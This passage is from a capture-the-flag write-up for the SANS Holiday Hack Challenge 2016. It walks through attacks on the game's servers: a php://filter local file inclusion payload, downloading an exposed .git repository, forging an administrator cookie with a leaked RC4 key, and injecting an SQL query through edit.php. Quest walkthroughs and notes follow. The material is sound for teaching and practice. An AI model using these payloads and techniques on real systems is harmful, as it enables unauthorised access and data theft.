{  
    "date": "20161228095114+0100",  
    "udid": "thisnthat",  
    "debug": "com.northpolewonderland.santagram.EditProfile, EditProfile",  
    "freemem": 123456798,  
    "verbose": true  
}
```

This, at the very late time of doing the write-up gives a long long list of files, so instead of providing a screenshot, here's a paste of the output I got when I actually solved the challenge. (And didn't take screenshots...)

Right, that out of the way, the output we get, when sending that JSON, is

```
{"date": "20161228133418", "date.len": 14, "status": "OK", "status.len": 2, "filename": "debug-20161228133418-0.txt", "filename.len": 26, "request": {"date": "20161228095114+0100", "udid": "fa0eef1fcb9c0c7b", "debug": "com.northpolewonderland.santagram.EditProfile, EditProfile", "freemem": 9223372036854775807, "verbose": true}, "files": ["debug-20161224235959-0.mp3", "debug-20161228132132-0.txt", "debug-20161228133354-0.txt", "debug-20161228133418-0.txt", "index.php"]}
```

The keen observer will notice the file called 'debug-20161224235959-0.mp3' and can go grab it from the server. Mission completed.


Now, I know I said I didn't want to provide a screenshot, however, here's one anyway. The list of files literally goes beyond the scroll buffer in my terminal. If I had been confronted with this list the first time around, I would have echoed it into a file and then gone through the output.

```
-20170104031624-0.txt", "debug-20170104032422-0.txt", "debug-20170104032710-0.txt", "debug-20170104033445-0.txt", "debug-20170104033844-0.txt", "debug-20170104034121-0.txt", "debug-20170104034211-0.txt", "debug-20170104035300-0.txt", "debug-20170104035312-0.txt", "debug-20170104040722-0.txt", "debug-20170104040732-0.txt", "debug-20170104040830-0.txt", "debug-20170104040944-0.txt", "debug-20170104041029-0.txt", "debug-20170104041052-0.txt", "debug-20170104041115-0.txt", "debug-20170104041459-0.txt", "debug-20170104041651-0.txt", "debug-20170104042616-0.txt", "debug-20170104042620-0.txt", "debug-20170104042652-0.txt", "debug-20170104045829-0.txt", "debug-20170104045832-0.txt", "debug-20170104045906-0.txt", "debug-20170104045957-0.txt", "debug-20170104050105-0.txt", "debug-20170104050115-0.txt", "debug-20170104050251-0.txt", "debug-20170104050322-0.txt", "debug-20170104050329-0.txt", "debug-20170104050346-0.txt", "debug-20170104050350-0.txt", "debug-20170104050359-0.txt", "debug-20170104050411-0.txt", "debug-20170104050421-0.txt", "debug-20170104050426-0.txt", "debug-20170104050520-0.txt", "debug-20170104050840-0.txt", "debug-20170104050912-0.txt", "debug-20170104051005-0.txt", "debug-20170104051115-0.txt", "debug-20170104051148-0.txt", "debug-20170104051251-0.txt", "debug-20170104051609-0.txt", "debug-20170104051621-0.txt", "debug-20170104063820-0.txt", "debug-20170104063840-0.txt", "debug-20170104063902-0.txt", "debug-20170104075512-0.txt", "debug-20170104075823-0.txt", "debug-20170104081103-0.txt", "debug-20170104081123-0.txt", "debug-20170104081425-0.txt", "debug-20170104081433-0.txt", "debug-20170104082617-0.txt", "debug-20170104083125-0.txt", "debug-20170104090613-0.txt", "debug-20170104091643-0.txt", "debug-20170104091820-0.txt", "debug-20170104094019-0.txt", "debug-2017010409551-0.txt", "debug-20170104094621-0.txt", "debug-20170104101205-0.txt", "debug-20170104101239-0.txt", "debug-20170104102457-0.txt", "debug-20170104102531-0.txt", "debug-20170104111644-0.txt", "debug-20170104112249-0.txt", "debug-20170104112530-0.txt", "debug-20170104112836-0.txt", "debug-20170104112859-0.txt", "debug-20170104112922-0.txt", "debug-20170104113017-0.txt", "debug-20170104113200-0.txt", "debug-20170104123547-0.txt", "debug-20170104124248-0.txt", "debug-20170104124631-0.txt", "debug-20170104124645-0.txt", "debug-20170104124655-0.txt", "debug-20170104124709-0.txt", "debug-20170104124929-0.txt", "debug-20170104125007-0.txt", "debug-20170104125018-0.txt", "debug-20170104125126-0.txt", "debug-20170104133056-0.txt", "debug-20170104133103-0.txt", "debug-20170104133130-0.txt", "debug-20170104135228-0.txt", "debug-20170104135256-0.txt", "debug-20170104141319-0.txt", "debug-20170104141351-0.txt", "debug-20170104141404-0.txt", "debug-201701041405-0.txt", "debug-20170104141405-1.txt", "debug-20170104141405-10.txt", "debug-20170104141405-11.txt", "debug-20170104141405-2.txt", "debug-20170104141405-3.txt", "debug-20170104141405-4.txt", "debug-20170104141405-5.txt", "debug-20170104141405-6.txt", "debug-20170104141405-7.txt", "debug-20170104141405-8.txt", "debug-20170104141405-9.txt", "debug-20170104141406-0.txt", "debug-20170104141406-1.txt", "debug-20170104141406-5-10.txt", "debug-20170104141406-11.txt", "debug-20170104141406-12.txt", "debug-20170104141406-13.txt", "debug-20170104141406-14.txt", "debug-20170104141406-2.txt", "debug-20170104141406-3.txt", "debug-20170104141406-4.txt", "debug-20170104141406-5.txt", "debug-20170104141406-6.txt", "debug-20170104141406-7.txt", "debug-20170104141406-8.txt", "debug-20170104141406-9.txt", "debug-20170104141407-0.txt", "debug-20170104141407-11.txt", "debug-20170104141407-12.txt", "debug-20170104141407-13.txt", "debug-20170104141407-14.txt", "debug-20170104141407-15.txt", "debug-20170104141407-2.txt", "debug-20170104141407-3.txt", "debug-20170104141407-4.txt", "debug-20170104141407-5.txt", "debug-20170104141407-6.txt", "debug-20170104141407-7.txt", "debug-20170104141407-8.txt", "debug-20170104141407-9.txt", "debug-20170104141408-0.txt", "debug-20170104142541-0.txt", "debug-20170104151707-0.txt", "debug-20170104152011-0.txt", "debug-20170104154724-0.txt", "debug-20170104155517-0.txt", "debug-20170104155826-0.txt", "debug-20170104155937-0.txt", "debug-20170104160003-0.txt", "debug-20170104160037-0.txt", "debug-20170104160107-0.txt", "debug-20170104160308-0.txt", "debug-20170104160740-0.txt", "debug-20170104161011-0.txt", "debug-20170104161529-0.txt", "debug-20170104161813-0.txt", "debug-20170104161939-0.txt", "debug-20170104180459-0.txt", "debug-20170104181309-0.txt", "debug-20170104181334-0.txt", "debug-20170104181410-0.txt", "debug-20170104182749-0.txt", "debug-20170104183840-0.txt", "debug-20170104183916-0.txt", "debug-20170104185156-0.txt", "debug-20170104190128-0.txt", "debug-20170104190257-0.txt", "debug-20170104190303-0.txt", "debug-20170104190429-0.txt", "debug-20170104190625-0.txt", "debug-20170104190644-0.txt", "debug-20170104190705-0.txt", "debug-20170104191153-0.txt", "debug-20170104191310-0.txt", "debug-20170104191541-0.txt", "debug-20170104191614-0.txt", "debug-20170104191726-0.txt", "debug-20170104191752-0.txt", "debug-20170104192227-0.txt", "debug-20170104192744-0.txt", "debug-20170104202633-0.txt", "debug-20170104202855-0.txt", "debug-20170104203339-0.txt", "index.php"]}%
```

4.1.4 The Banner Ad Server

Ads, why'd it have to be ads? Nobody likes ads. Or at least, most of the ads. Some ads are cool and they can stay.

Visiting <http://ads.northpolewonderland.com/> displays a website which looks... uh.. special...



Now, going through the source code shows that the site is build using Meteor, something that I've never actually used. So it's time to read up on some fun stuff. There's the Mining Meteor¹² article by Tim Medin, over at SANS and of course the documentation for the Meteor Framework¹³.

After a bit of reading the docs, the article, the little handy script Mr. Medin has created, and employing said script, the following is found.

¹²Over at <https://pen-testing.sans.org/blog/2016/12/06/mining-meteor>

¹³Meteor can be found at <https://www.meteor.com/>

```
Meteor Miner
Toggle Loaded Only
Collections
  HomeQuotes      4 Records
  Satisfaction    1 Record
Subscriptions
  meteor.loginServiceConfiguration
  _roles
  meteor_autoupdate_clientVersions
  quotes
  satisfaction
Templates
  Home
  MasterLayout
  Nav
Routes
  /aboutus >
  /admin/quotes > █
  /affiliate/affiliateId >
  /campaign/create >
  /campaign/review >
  /campaign/share >
  /create >
  / >
  /login >
  /manage >
  /register >
```

See the red square? That's a link that's not actually anywhere in the UI of the site. So it seems this app is indeed leaking too much information. Heading on over to '/admin/quotes'...

The screenshot shows the Meteor Miner interface with the following sections:

- Collections**: HomeQuotes (5 Records, 2 Unique Field Sets)
- Subscriptions**: meteor.loginServiceConfiguration, _roles, meteor_autoUpdate_clientVersions, adminQuotes
- Templates**: AdminQuotes, MasterLayout, Nav
- Routes**: /aboutus >, /admin/quotes >, /affiliate/:affiliateId >, /campaign/create >, /campaign/review >, /campaign/share >, /create >, / >, /login >, /manage >, /register >

... And I'm greeted with this view. Well well well. It's time to take a look at what's inside of the HomeQuotes collection, because on this page it shows 5 entries instead of 4.

```
> HomeQuotes.find().fetch()
< ▼ Array[5] 1
  ► 0: Object
  ► 1: Object
  ► 2: Object
  ▼ 3: Object
    _id: "zC3qjywazw6vTorZQ"
    hidden: false
    index: 3
    quote: "Is anyone actually reading this?"
    ► __proto__: Object
  ▼ 4: Object
    _id: "zPR5TpxB5mcAH3pYk"
    audio: "/ofdAR4UYRaeNxMg/discombobulatedaudio5.mp3"
    hidden: true
    index: 4
    quote: "Just Ad It!"
    ► __proto__: Object
    length: 5
    ► __proto__: Array[0]
```

Opening the developer tools in Chrome and fetching the entire collection, it's possible to expand the objects returned, and bingo, an audio file called 'discombobulatedaudio5.mp3' - Not bad.

4.1.5 The Uncaught Exception Handler Server

So visiting <http://ex.northpolewonderland.com/exception.php> kindly informs that it only accepts POST requests. That means it's time to bring out 'curl', because that makes it ever so easy to ship off POST requests with different parameters.

```
EFRETTI :: ~ » curl -i -X POST ex.northpolewonderland.com/exception.php
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Wed, 04 Jan 2017 19:21:16 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

Content type must be: application/json
EFRETTI :: ~ » -
```

Well, this is literally the nicest server. Now it tells me that it expects json. Mkay, let's hand it some of that.

```
EFRETTI :: ~ » curl -i -H "Content-Type: application/json" -d "{}" -X POST ex.northpolewonderland.com/exception.php
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Wed, 04 Jan 2017 19:25:04 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

Fatal error! JSON key 'operation' must be set to WriteCrashDump or ReadCrashDump.
EFRETTI :: ~ » -
```

Aha! So even more information about what it wants. Now, which one to try out first...

```
{
    "operation": "ReadCrashDump"
}
```

and then we get

```
EFRETTI :: ~ » curl -i -H "Content-Type: application/json" -d @x.json -X POST ex.northpolewonderland.com/exception.php
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Wed, 04 Jan 2017 19:30:02 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

Fatal error! JSON key 'data' must be set.
```

After a bit of playing around and seeing what kind of error messages I get, I get to this JSON

```
{  
    "operation": "ReadCrashDump",  
    "data": {  
        "crashdump": ""  
    }  
}
```

Which gives this beautiful output

```
EFRETTI :: ~ » curl -i -H "Content-Type: application/json" -d @x.json -X POST ex.northpolewonderland.com/exception.php  
HTTP/1.1 500 Internal Server Error  
Server: nginx/1.10.2  
Date: Wed, 04 Jan 2017 19:32:07 GMT  
Content-Type: text/html; charset=UTF-8  
Transfer-Encoding: chunked  
Connection: keep-alive
```

So this gives a '500 - Internal Server Error', interesting. But also a bit of a roadblock. So it's time to look at what 'WriteCrashDump' does, using the same procedure as above.

```
{  
    "operation": "WriteCrashDump",  
    "data": "Hello"  
}
```

Turns out to give something that might give a clue to what to do with 'ReadCrashDump'.

```
EFRETTI :: ~ » curl -i -H "Content-Type: application/json" -d @x.json -X POST ex.northpolewonderland.com/exception.php  
HTTP/1.1 200 OK  
Server: nginx/1.10.2  
Date: Wed, 04 Jan 2017 19:36:27 GMT  
Content-Type: text/html; charset=UTF-8  
Transfer-Encoding: chunked  
Connection: keep-alive  
  
{  
    "success" : true,  
    "folder" : "docs",  
    "crashdump" : "crashdump-DfRjM9.php"  
}
```

So with this new information it's time to modify the ReadCrashDump JSON.

```
{  
    "operation": "ReadCrashDump",  
    "data": {  
        "crashdump": "crashdump-DfRjM9"  
    }  
}
```

Now, I've left out the .php part, because the server would complain about it being there. Alright, so time to see what files we can actually read with this script.

```
{
    "operation": "ReadCrashDump",
    "data": {
        "crashdump": "../docs/crashdump-DfRjM9"
    }
}
```

Gets me the same output as before, meaning that we can either traverse directories or that it somehow gets filtered out. So, let's see if it's possible to read the exception.php file.

```
{
    "operation": "ReadCrashDump",
    "data": {
        "crashdump": "../exception"
    }
}
```

Nothing's ever that easy, is it? Well, that gives the 500 error from above. So what's next. Depending on how the files are included on the server, when calling ReadCrashDump, there are a few options. PHP have this little neat protocol called 'php://' and with this, you can call all sort of neat functions to be executed. Now there are plenty of articles about this exploit. Here¹⁴, here¹⁵ and many other places. Just search for 'PHP Local File Inclusion' or LFI for short.

```
{
    "operation": "ReadCrashDump",
    "data": {
        "crashdump": "php://filter/convert.base64-encode/resource=../exception"
    }
}
```

This beauty does return a lot of base64 encoded stuff! Decoding it gives us

```
EFRETTI :: ~ » base64 -d out
<?php

# Audio file from Discombobulator in webroot: discombobulated-audio-6-XyzE3N9YqKNH.mp3

# Code from http://thisinterestsme.com/receiving-json-post-data-via-php/
# Make sure that it is a POST request.
if(strcasecmp($_SERVER['REQUEST_METHOD'], 'POST') != 0){
    die("Request method must be POST\n");
}
```

This solving this challenge.

¹⁴<https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/>

¹⁵<https://pen-testing.sans.org/blog/2016/12/07/getting-moar-value-out-of-php-local-file-include-vuln>

4.1.6 The Mobile Analytics Server (post authentication)

So with this task, it's back to `analytics.northpolewonderland.com` to see what's up. After browsing the site a bit, logged in with the guest user, it's time to look for directories that probably should not have been there.

Directories, such as `/admin/`, `/.git/`, etc.. However, it's time to stop looking as soon as we look for `/.git/`. It seems the creator of the website has the Git repository in the server root. This really is a bad idea, but good for me. Time to whip out 'wget' and download the contents.

```
root@kali:~/analytics# wget -r --no-parent https://analytics.northpolewonderland.com/.git/
--2017-01-03 13:30:51-- https://analytics.northpolewonderland.com/.git/
Resolving analytics.northpolewonderland.com (analytics.northpolewonderland.com) ... 104.198
.252.157
Connecting to analytics.northpolewonderland.com (analytics.northpolewonderland.com)|104.198
.252.157|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: 'analytics.northpolewonderland.com/.git/index.html'

analytics.northpole      [ => ]    1.36K  --.-KB/s   in 0s

2017-01-03 13:30:51 (10.3 MB/s) - 'analytics.northpolewonderland.com/.git/index.html' saved [1394]

Loading robots.txt; please ignore errors.
--2017-01-03 13:30:51-- https://analytics.northpolewonderland.com/robots.txt
Reusing existing connection to analytics.northpolewonderland.com:443.
HTTP request sent, awaiting response... 404 Not Found
2017-01-03 13:30:51 ERROR 404: Not Found.

--2017-01-03 13:30:51-- https://analytics.northpolewonderland.com/.git/branches/
Reusing existing connection to analytics.northpolewonderland.com:443.
HTTP request sent, awaiting response... 200 OK
```

```
--2017-01-03 13:31:37-- https://analytics.northpolewonderland.com/.git/logs/refs/heads/m
aster
Reusing existing connection to analytics.northpolewonderland.com:443.
HTTP request sent, awaiting response... 200 OK
Length: 4284 (4.2K) [application/octet-stream]
Saving to: 'analytics.northpolewonderland.com/.git/logs/refs/heads/master'

analytics.northpole 100%[=====] 4.18K  --.-KB/s   in 0s

2017-01-03 13:31:37 (155 MB/s) - 'analytics.northpolewonderland.com/.git/logs/refs/heads/m
aster' saved [4284/4284]

FINISHED --2017-01-03 13:31:37--
Total wall clock time: 46s
Downloaded: 305 files, 614K in 0.3s (1.99 MB/s)
root@kali:~/analytics#
```

And there we go. It's now time to see what the status of the Git repos is. With some luck

we will have access to all, or at least most of the source code of the webpage and as everyone knows, having access to source code makes the whole pwnage thing easier.

```
root@kali:~/analytics# cd analytics.northpolewonderland.com/
root@kali:~/analytics/analytics.northpolewonderland.com# ls
root@kali:~/analytics/analytics.northpolewonderland.com# git status
On branch master
Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git checkout -- <file>..." to discard changes in working directory)

    deleted:  README.md
    deleted:  crypto.php
    deleted:  css/bootstrap-theme.css
    deleted:  css/bootstrap-theme.css.map
    deleted:  css/bootstrap-theme.min.css
    deleted:  css/bootstrap-theme.min.css.map
    deleted:  css/bootstrap.css
    deleted:  css/bootstrap.css.map
    deleted:  css/bootstrap.min.css
    deleted:  css/bootstrap.min.css.map
    deleted:  css/bootstrap.min.css.orig
    deleted:  db.php
    deleted:  edit.php
    deleted:  fonts/glyphicons-halflings-regular.eot
    deleted:  fonts/glyphicons-halflings-regular.svg
    deleted:  fonts/glyphicons-halflings-regular.ttf
    deleted:  fonts/glyphicons-halflings-regular.woff
    deleted:  fonts/glyphicons-halflings-regular.woff2
    deleted:  footer.php
    deleted:  getaudio.php
    deleted:  header.php
    deleted:  index.php
    deleted:  js/bootstrap.js
    deleted:  js/bootstrap.min.js
    deleted:  js/npm.js
    deleted:  login.php
    deleted:  logout.php
    deleted:  mp3.php
    deleted:  query.php
    deleted:  report.php
    deleted:  sprusage.sql
    deleted:  test/Gemfile
    deleted:  test/Gemfile.lock
    deleted:  test/test_client.rb
    deleted:  this_is_html.php
    deleted:  this_is_json.php
    deleted:  uuid.php
    deleted:  view.php

no changes added to commit (use "git add" and/or "git commit -a")
root@kali:~/analytics/analytics.northpolewonderland.com# █
```

Well, it seems that everything has been deleted from the Git. Thankfully it's git and that means we can revert the changes, if we need to. However, before doing anything, opening the folder in Visual Code¹⁶.

¹⁶Found at <https://code.visualstudio.com/>

Once the folder is open in Visual Code, it is possible to browse through the code, without having to modify the Git repos.

While browsing through the code I found the following snippet.

```
function check_access($db, $username, $users) {
    # Allow administrator to access any page
    if($username == 'administrator') {
        return;
    }

    if(!in_array($username, $users)) {
        reply(403, 'Access denied!');
        exit(1);
    }
}
```

Which clearly indicates that there are another user called 'administrator'. Next step is to figure out how to log in with this account.

There is a file called 'crypto.php' which seems to be included by a lot of the pages and it looks like this.

```
1 <?php
2     define('KEY', "\x61\x17\xA4\x95\xBF\x3D\xD7\xCD\x2E\x0D\x8B\xCB\x9F\x79\xE1\xDC");
3
4     function encrypt($data) {
5         return mcrypt_encrypt(MCRYPT_ARCFOUR, KEY, $data, 'stream');
6     }
7
8     function decrypt($data) {
9         return mcrypt_decrypt(MCRYPT_ARCFOUR, KEY, $data, 'stream');
10    }
11 ?>
```

These 2 functions are used in conjunction with 'login.php' as seen in the following image.

Now this shows how the cookie that is being used to store the logged in information is being formed. So it's time to create my very own personal AUTH cookie using the following PHP script.

```
1 <?php
2 define('KEY', "\x61\x17\xA4\x95\xBF\x3D\xD7\xCD\x2E\x0D\x8B\xCB\x9F\x79\xE1\xDC");
3
4 function encrypt($data) {
5     return mcrypt_encrypt(MCRYPT_ARCFOUR, KEY, $data, 'stream');
```

```
6 }  
7  
8 $auth = bin2hex(encrypt(json_encode([  
9     'username' => "administrator",  
10    'date' => "2016-12-26T19:01:59+0000",  
11 ])));  
12 echo $auth;  
13 ?>
```

Using this script the following token is created, and when using that value, instead of the value of the AUTH cookie when logging in as 'guest'.

```
82532b2136348aaa1fa7dd2243dc0dc1e10948231f339e5edd5770daf9eef1  
8a4384f6e7bca04d86e573b965cc9c6549b849486263a40a63b71976884152
```


(This should obviously be one line)

```
67 } else {  
68     require_once('db.php');  
69     check_user($db, $_POST['username'], $_POST['password']);  
70     print "Successfully logged in!";  
71  
72     $auth = encrypt(json_encode([  
73         'username' => $_POST['username'],  
74         'date' => date(DateTime::ISO8601),  
75     ]));  
76     setcookie('AUTH', bin2hex($auth));  
77     header('Location: index.php?msg=Successfully%20logged%20in!');  
78 }  
79  
80  
81  
82 }
```

With this done, it's time to set the cookie via the developer console.

```
document.cookie = "AUTH=82532b2136348aaa1fa7dd2243dc0dc1e10948231f339e5edd5770daf9eef18a4384f6e7bca04d86e573b965cc9c6549b849486263a40a63b71976884152"  
"AUTH=82532b2136348aaa1fa7dd2243dc0dc1e10948231f339e5edd5770daf9eef18a4384f6e7bca04d86e573b965cc9c6549b849486263a40a63b71976884152"
```

And with that done it's time to refresh the browser and see the result.



That's the menu, when logged in as administrator. So the MP3 link has been replaced by edit. So it's time to look into what the 'edit.php' file actually does. ... So it allows me to change the id, name, and description of the saved search you can create in the view screen.

Now after a bit more of reading through the code, one thing sort of sticks out.

```

43     {
44         $result = mysqli_query($db, "SELECT * FROM `reports` WHERE `id`='$_GET[id]` LIMIT 0, 1");
45         if(!$result) {
46             reply(500, "MySQL Error: " . mysqli_error($db));
47             die();
48         }
49         $row = mysqli_fetch_assoc($result);
50
51         # Update the row with the new values
52         $set = [];
53         foreach($row as $name => $value) {
54             print "Checking for " . htmlentities($name) . "...<br>";
55             if(isset($_GET[$name])) {
56                 print "Yup!<br>";
57                 $set[] = "$name='$_GET[$name]'";
58             }
59         }
60
61         $query = "UPDATE `reports` "
62             . "SET " . join($set, ', ') . " "
63             . "WHERE `id`='$_REQUEST[id]`";
64         print htmlentities($query);
65
66         $result = mysqli_query($db, $query);
67         if(!$result) {
68             reply(500, "SQL error: " . mysqli_error($db));
69             die();
70         }
71
72         print "Update complete!";
73     }

```

The reason it sticks out, is because when you update the stored search, it tells you what it checks for. This includes a field called 'query', now this can be confirmed to exist by looking at the 'sprusage.sql' file that also resides in the Git repos.

Also, there is a table that contains audio. ... So you've probably guessed this already. It's time to change the stored search and set the query to

```
SELECT * , TO_BASE64(mp3) FROM audio
```

So what this does, is hopefully to let me extract the audio file as base64. It should also evade all the very annoying mysqli_real_escape_string that prevents classic SQL injections.

To set the query simply visit

[/edit.php?id=<ID_Goes_Here>&query=SELECT%20*%20TO_BASE64\(mp3\)%20FROM%20audio](/edit.php?id=<ID_Goes_Here>&query=SELECT%20*%20TO_BASE64(mp3)%20FROM%20audio) After visiting that, it's time to go to the view page and plot in the ID you updated.

Output You may have to scroll to the right to see the full details				
id	username	filename	mp3	SUBSTRING(TO_BASE64(mp3),1,40)
20c216bc-b8b1-11e6-89e1-42010af00008	guest	discombobulatedaudio2.mp3	SUQzAwAAAAAGFRSQ0sAAAACAAAAMIRJVDIAAAAC	SUQzAwAAAAAGFRSQ0sAAAACAAAAMIRJVDIAAAAC
3746d987-b8b1-11e6-89e1-42010af00008	administrator	discombobulatedaudio7.mp3	SUQzAwAAAAAGFRSQ0sAAAACAAAAN1RJVDIAAAAC	SUQzAwAAAAAGFRSQ0sAAAACAAAAN1RJVDIAAAAC

Bingo! We've actually got both of the mp3 files this way. Now the only thing left is copy pasting the base64 and decoding it, and make a note of the filename, discombobulatedaudio7.mp3.

4.2 What are the names of the audio files you discovered from each system above?

The file names, in order, are as follow.

- discombobulatedaudio1.mp3
- discombobulatedaudio2.mp3
- discombobulatedaudio3.mp3
- debug-20161224235959-0.mp3
- discombobulatedaudio5.mp3
- discombobulated-audio-6-XyzE3N9YqKNH.mp3
- discombobulatedaudio7.mp3

5 Part 5: Discombobulated Audio

Playing the audio files without doing anything just sounds horrible. However, it also sounds like something that has been slowed down. The questions, then, are:


- How much are they slowed down?
- In which order do they need to be played?

Luckily, the answer to the second question seems to be answered by the files themselves.

Name	#	Title
discombobulatedaudio1.mp3	1	1
discombobulatedaudio2.mp3	2	2
discombobulatedaudio3.mp3	3	3
debug-20161224235959-0.mp3	4	4
discombobulatedaudio5.mp3	5	5
discombobulated-audio-6-XyzE3N9YqKNH.mp3	6	6
discombobulatedaudio7.mp3	7	7

This clearly shows that each file has a track number and a title. Hopefully this solves the ordering issue.

Now, I could start up Audacity¹⁷ which is a really awesome tool for messing with audio files, but I want to try out something first. Namely, I want to play the files in Windows Media Player and just crank up the play speed and see if I get anything useful out of that.



As it turns out, when played at 8 times speed, speech actually becomes quite understandable. Here's what the fellow is saying.

Father Christmas, Santa Claus. Or, as I've always known him, Jeff.

Now, to get the punctuations right I did have to do a Google search for the phrase. But this is also the password for the secret door inside of Santa's office.

¹⁷Website: <http://www.audacityteam.org/>

5.1 Who is the villain behind the nefarious plot.

We've got a full confession here.

<Dr. Who> The question of the hour is this: Who nabbed Santa.
<Dr. Who> The answer? Yes, I did.

So there we have it, it was the Doctor himself who kidnapped Jeff.

5.2 Why had the villain abducted Santa?

To put it in the Doctors own words.

<Dr. Who> Next question: Why would anyone in his right mind kidnap Santa Claus?
<Dr. Who> The answer: Do I look like I'm in my right mind? I'm a madman with a box.
<Dr. Who> I have looked into the time vortex and I have seen a universe in which the Star Wars Holiday Special was NEVER released. In that universe, 1978 came and went as normal. No one had to endure the misery of watching that abominable blight. People were happy there. It's a better life, I tell you, a better world than the scarred one we endure here.
<Dr. Who> Give me a world like that. Just once.
<Dr. Who> So I did what I had to do. I knew that Santa's powerful North Pole Wonderland Magick could prevent the Star Wars Special from being released, if I could leverage that magick with my own abilities back back in 1978. But Jeff refused to come with me, insisting on the mad idea that it is better to maintain the integrity of the universe's timeline. So I had no choice - I had to kidnap him.
<Dr. Who> It was sort of one of those days.
<Dr. Who> Well. You know what I mean.
<Dr. Who> Anyway... Since you interfered with my plan, we'll have to live with the Star Wars Holiday Special in this universe... FOREVER. If we attempt to go back again, to cross our own timeline, we'll cause a temporal paradox, a wound in time.
<Dr. Who> We'll never be rid of it now. The Star Wars Holiday Special will plague this world until time itself ends... All because you foiled my brilliant plan. Nice work.

He did **not** like the *Star Wars Holiday Special*¹⁸ and felt that kidnapping Santa was the best way to prevent it from being released.

¹⁸Wiki page at https://en.wikipedia.org/wiki/Star_Wars_Holiday_Special

6 Quests

Here's a short walkthrough of each of the quests.




Figure 16: The in-game quest screen.

Now, to make it easier to find each of the items there is a little trick that can be done. When looking at the source of the HTML page with the game, you can find the following

```
<div id="canvas" style="width: 1280px; height: 445px;">
  <canvas id="background" width="1280" height="445">
  <canvas id="entities" width="1280" height="445">
  <canvas id="floating" width="1280" height="445">
  <canvas id="lighting">
  <canvas id="text" width="1280" height="445">
  <canvas id="foreground" class="clickable" width="1280" height="445">
</div>
... * * * * *
```

The canvas with id 'floating' is what renders the overlay of certain objects, such as the roofs and such. Now, since the site is using jQuery, it's quite easy to toggle the visibility of items, when they have an id. So open the developer console..

```
> jQuery("#floating").toggle()
< ► [canvas#floating]
```

Type in `jQuery("#floating").toggle()` and it'll toggle the visibility. The reason to use `toggle`, is to make it easy to hit arrow up and hit enter, to toggle it again.

6.1 Find Santa

So, to find Santa one needs to solve a few of the terminals, more specifically [subsubsection 3.2.4](#) and [subsubsection 3.2.5](#). *Now, to be honest, I'm not sure if you have to solve the rest of the terminals, but if you do, check out the solutions in section 3.*

Once those 2 terminals are solved you can go to 1978. Once there, head back up into the workshop and in through the door that belongs to [subsubsection 3.2.4](#) and you will find Santa waiting for you.

6.2 Complete the Cranberry Pi

You get this quest when you speak with Holly Evergreen in The North Pole. She asks you to find all the pieces of a Cranberry Pi. Go to the locations shown in the following 5 figures, once you collected all the items, return to Holly Evergreen and she will give you the Cranberry Pi image, which is needed to complete Part 3¹⁹ of the story line.



Figure 17: Cranberry Pi Board

Inside the Secret Fireplace Room in Elf House #1.




Figure 18: HDMI Cable
Can be found in the Workshop.



Figure 19: Heat Sink

Can be found in Elf House #2 - Upstairs.




Figure 20: Power Cord

Is hidden behind the snowman outside.

¹⁹See [section 3](#) to see how to complete this part.




Figure 21: SD Card
Located on the small walkway to the left of the Workshop.

6.3 Find the NetWars Challenge Coins

So there are 20 coins to find in total. 13 in today's world and 7 in the year 1978. Some coins are only reachable once you complete terminals, so this means that to collect them all you need to solve most of the terminals. How to solve them can be found in [section 5](#). Once the terminals are completed, or while moving between them check out these locations.

Today

All these coins are found in today's world.



Figure 22: Found inside the fireplace in Elf House #1.



Figure 23: Found inside Elf House #2 on the shelves



Figure 24: Found inside Elf House #2, right next to the couch



Figure 25: Found inside Elf House #2, up the stairs.



Figure 26: Found inside Elf House #2 in the room behind the Terminal.



Figure 27: Outside, hidden behind the roof of one of the houses.



Figure 28: Inside the Netwars Experience Treehouse, slightly behind the center pillar.



Figure 29: Just outside of the Netwars Experience Treehouse.



Figure 30: Inside the Small Tree House, up on the wooden bridges.




Figure 31: Inside the Workshop, on the conveyor belt.




Figure 32: Inside DFER. The top terminal in The Workshop.



Figure 33: Inside the Corridor in Santa's office... In the Workshop.




Figure 34: Outside of the workshop, to the right.

1978

These are found in 1978.



Figure 35: Just behind Holly.




Figure 36: Inside The Big Tree. The place of the oracle.




Figure 37: Between the houses to the left of the 'days since' sign.




Figure 38: Behind the Space Invaders screen, in the Netwars Experience Tree.




Figure 39: Behind crates to the left, in the Workshop.



Figure 40: Inside Santa's office, held by the armour.



Figure 41: Right on the edge of the Train Station platform.

6.4 Find the villain

Once you have recovered atleast five²⁰ of the seven audio files you can follow the steps in section 5 to get the password for the door in the hallway behind the bookcase in Santa's office. *Phew, long sentence.*

Enter the password and then go inside and meet the Doctor himself.

²⁰That's what the folks over at SANS say, anyway

A The mad notes

For the curious people, here's how the notes that I took during this challenge looks. I didn't take notes of the Netwars coins for the first 5-6 coins or so, so for this write-up, I had to go back and locate them all, again, to get my screenshots. Well, enjoy.

--- Part 1 ---

1) What is the secret message in Santa's tweets?

```
> Copy all tweets from twitter.com/santawclaus
> Replace ^(.){1,74}|(.){76,})$ with ""
> Replace \n+ with \n
> Read "Bug Bounty"
```

2) What is inside the ZIP file distributed by Santa's team?

```
> Instagram billeder:
>> SantaGram_v4.2.zip
>> northpolewonderland.com
> Download northpolewonderland.com/SantaGram_v4.2.zip
> The zip file is password protected, the password is 'bugbounty', inside is the file
"SantaGram_4.2.apk"
```

--- Part 2 ---

3) What username and password are embedded in the APK file?

```
> Jadx SantaGram_4.2.apk -> SplashScreen:
JSONObject.put("username", "guest");
JSONObject.put("password", "busyreindeer78");
```

4) What is the name of the audible component (audio file) in the SantaGram APK file?

```
> Extract apk file, enter directory
> find . -type f -exec file -b {} \; | cut -d, -f1 | sort | uniq -c | sort -n
    1 Audio file with ID3 version 2.3.0
    1 Dalvik dex file version 035
    1 empty
    1 HTML document
    1 JPEG image data
    2 ASCII text
    2 data
  139 Android binary XML
  261 PNG image data
```

```
> apktool d SantaGram_4.2.apk
I: Using Apktool 2.2.1 on SantaGram_4.2.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
